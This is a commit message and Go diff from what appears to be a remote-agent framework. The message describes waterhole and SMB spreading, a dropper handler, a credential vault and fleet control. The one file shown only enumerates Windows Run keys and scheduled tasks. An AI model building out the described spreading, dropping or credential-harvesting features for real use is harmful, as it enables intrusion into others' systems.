feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/persistence_audit_windows.go

@@ -0,0 +1,72 @@
+//go:build windows
+
+package client
+
+import (
+	"strings"
+)
+
+func collectPersistenceAudit() PersistenceAuditReport {
+	report := PersistenceAuditReport{Platform: "windows"}
+	queries := []struct {
+		kind, hive, sub string
+	}{
+		{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
+		{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
+		{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\Run`},
+		{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
+	}
+	for _, q := range queries {
+		out, err := silentCombinedOutput("reg", "query", q.hive+`\`+q.sub)
+		if err != nil {
+			continue
+		}
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if line == "" || strings.HasPrefix(line, "HKEY_") || strings.HasPrefix(line, q.sub) {
+				continue
+			}
+			parts := strings.Fields(line)
+			if len(parts) < 2 {
+				continue
+			}
+			name := parts[0]
+			val := strings.Join(parts[2:], " ")
+			if strings.EqualFold(name, "REG_SZ") || strings.EqualFold(name, "REG_EXPAND_SZ") {
+				continue
+			}
+			report.Entries = append(report.Entries, PersistenceAuditEntry{
+				Kind:   q.kind,
+				Name:   name,
+				Detail: q.hive + `\` + q.sub + ` → ` + val,
+			})
+		}
+	}
+	taskOut, err := silentCombinedOutput("schtasks", "/Query", "/FO", "LIST", "/V")
+	if err == nil {
+		var curName, curRun string
+		flush := func() {
+			if curName != "" {
+				report.Entries = append(report.Entries, PersistenceAuditEntry{
+					Kind:    "scheduled_task",
+					Name:    curName,
+					Detail:  curRun,
+					Enabled: true,
+				})
+			}
+			curName, curRun = "", ""
+		}
+		for _, line := range strings.Split(string(taskOut), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, "TaskName:") {
+				flush()
+				curName = strings.TrimSpace(strings.TrimPrefix(line, "TaskName:"))
+			} else if strings.HasPrefix(line, "Task To Run:") {
+				curRun = strings.TrimSpace(strings.TrimPrefix(line, "Task To Run:"))
+			}
+		}
+		flush()
+	}
+	report.Count = len(report.Entries)
+	return report
+}